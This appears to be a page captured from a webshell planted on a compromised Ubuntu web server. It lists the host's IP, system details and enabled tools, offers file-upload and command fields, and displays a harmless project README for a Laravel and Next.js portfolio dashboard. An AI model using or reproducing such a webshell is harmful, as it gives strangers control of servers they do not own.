403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/codex/current/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/codex/current/README.md
# Codex

> The codex of every project, capability, and gap.

- **Dashboard:** [codex.philiprehberger.com](https://codex.philiprehberger.com) *(coming soon)*
- **API + admin:** [api.codex.philiprehberger.com](https://api.codex.philiprehberger.com) *(coming soon)*
- **Stack:** Laravel 13 + Filament v4 + MySQL 8 + Next.js 16 + Tailwind 4
- **Plan:** `~/projects/income-ops/.scratch/plans/project_intelligence_codex_portfolio.md`

A portfolio intelligence dashboard. Every project Philip has built — demos, packages, client engagements — catalogued, tagged along multiple axes (capability, technology, industry, architecture, deliverable), and rendered as a public capability heatmap + gap report.

The piece is meta: it's both a portfolio entry (Laravel + Filament + Next.js analytics dashboard) and the source-of-truth for what shows up on every other sales surface — resume bullets, Fiverr gigs, Upwork screening answers.

## Repo layout

```
codex/
├── app/                 Laravel 13 application (API + Filament admin)
├── web/                 Next.js 16 dashboard (codex.philiprehberger.com)
├── database/
│   ├── migrations/      v1+v2 schema — ~15 tables, ULID + slug, utf8mb4_bin
│   ├── seeders/         portfolio dogfood — real projects, real tags
│   └── fixtures/        portfolio-bundle excerpts (CI-safe seed input)
├── infra/
│   ├── apache/          per-host vhosts (codex.*, api.codex.*)
│   └── cron/            assert-invariants, audit-slug-collisions, export-portfolio
├── scripts/deploy/      atomic-release deploy (Laravel + Next.js)
└── docs/                architecture, api-conventions, invariants, upgrades
```

## Local development

### Prerequisites

- PHP 8.3+, Composer 2.9+, Node 22+/npm 10+, MySQL 8

### Setup

```bash
composer install
cp .env.example .env
php artisan key:generate
# Create MySQL `codex_dev` schema, then:
php artisan migrate:fresh --seed
composer dev
```

Filament admin → http://localhost:8000/admin
Laravel health → http://localhost:8000/up

## Deployment

Atomic-release deploy to EC2. See `scripts/deploy/deploy.cjs` and `.env.deployment.example`.

```bash
cp .env.deployment.example .env.deployment
npm run deploy
```

## License

MIT

Youez - 2016 - github.com/yon3zu
LinuXploit